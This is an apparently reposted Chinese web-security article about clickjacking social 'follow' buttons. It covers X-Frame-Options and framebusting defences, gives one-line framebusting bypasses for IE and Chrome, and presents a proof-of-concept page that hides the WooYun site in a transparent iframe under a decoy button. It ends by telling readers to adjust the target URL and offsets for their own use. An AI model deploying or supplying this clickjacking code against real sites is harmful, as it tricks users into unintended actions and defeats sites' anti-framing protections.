网站地图    收藏   

主页 > 后端 > 网站安全 >

猥琐流之”关注我吧” - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 主要说一下问世多年缺一直没被重视的点击劫持.应用场景:1.社区的关注功能,在WEB2.0时代关注我已经成为一个社区必备功能,被关注的愈多在社区的影响力往往也愈大.点击劫持科普:简单来...

 主要说一下问世多年缺一直没被重视的”点击劫持”.

应用场景:
1.社区的关注功能,在WEB2.0时代”关注我”已经成为一个社区必备功能,被关注的愈多在社区的影响力往往也愈大.

点击劫持科普:
简单来说就是在一个网页内再嵌入一个要攻击的网站,把这个嵌入的网站设置为透明,然后再上面覆盖一层东西,让你点到他想要你点到的位置,而实际上你点击的确实被嵌入的网站,这样就完成了一次点击劫持攻击.

防嵌入?怎么破?
因为”点击劫持”已经问世很多年,所以主流的浏览器基本上都提供的防御方案.
1.X-Frame-Options http响应头
三个选项:
(1)DENY : 不允许被任何网站嵌入.
(2)SAMEORIGIN : 允许被同源的网站嵌入.
(3)ALLOW-FROM uri : uri为一个指定的地址,仅允许这个uri嵌入.
对于用这个办法防御的网站来说没有什么好办法,但ie低版本并不支持.

2.FrameBusting
简单来说就是用JS来检测是否被嵌入.
经典的framebuting代码:
if (top.location !== self.location) top.location=self.location;
对于这种framebuting还是可以hacking下的:
1.IE下的突破方法:
if(self.ActiveXObject)var location={};
2.Chrome下的突破方法,不过偶尔会失效,因为是利用时间竞争来突破的:
if(self.chrome)setInterval('location="javascript:void(0)"');//Chrome
乌云正好是用的这种经典framebusting,所以这里用乌云做个范例.

乌云”关注我”功能的POC:
<script>
var xx=200;
var yy=200;
window.onload=function (e){
var iframe = document.getElementById('xxx');
var e = e||window.event;

var x=e.clientX+document.body.scrollLeft+document.documentElement.scrollLeft;
var y=e.clientY+document.body.scrollTop+document.documentElement.scrollTop;

iframe.style.left=a.offsetLeft-xx;
iframe.style.top=a.offsetTop-yy;
}
www.2cto.com

</script>
<script>
if(self.ActiveXObject)var location={};//IE
if(self.chrome)setInterval(‘location=”javascript:void(0)”‘);//Chrome
</script>
<iframe style=”position:absolute;opacity: 0.5;filter:alpha(opacity=50);z-index:1;” id=xxx src=”http://www.wooyun.org/whitehats/Sogili” WIDTH=60% height=500></iframe>
<br><br></br><br></br><br></br><center><button id=a>点击</button></center>
自己用的话调下iframe的地址,宽高和xx,yy这个两个变量的值就好.

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论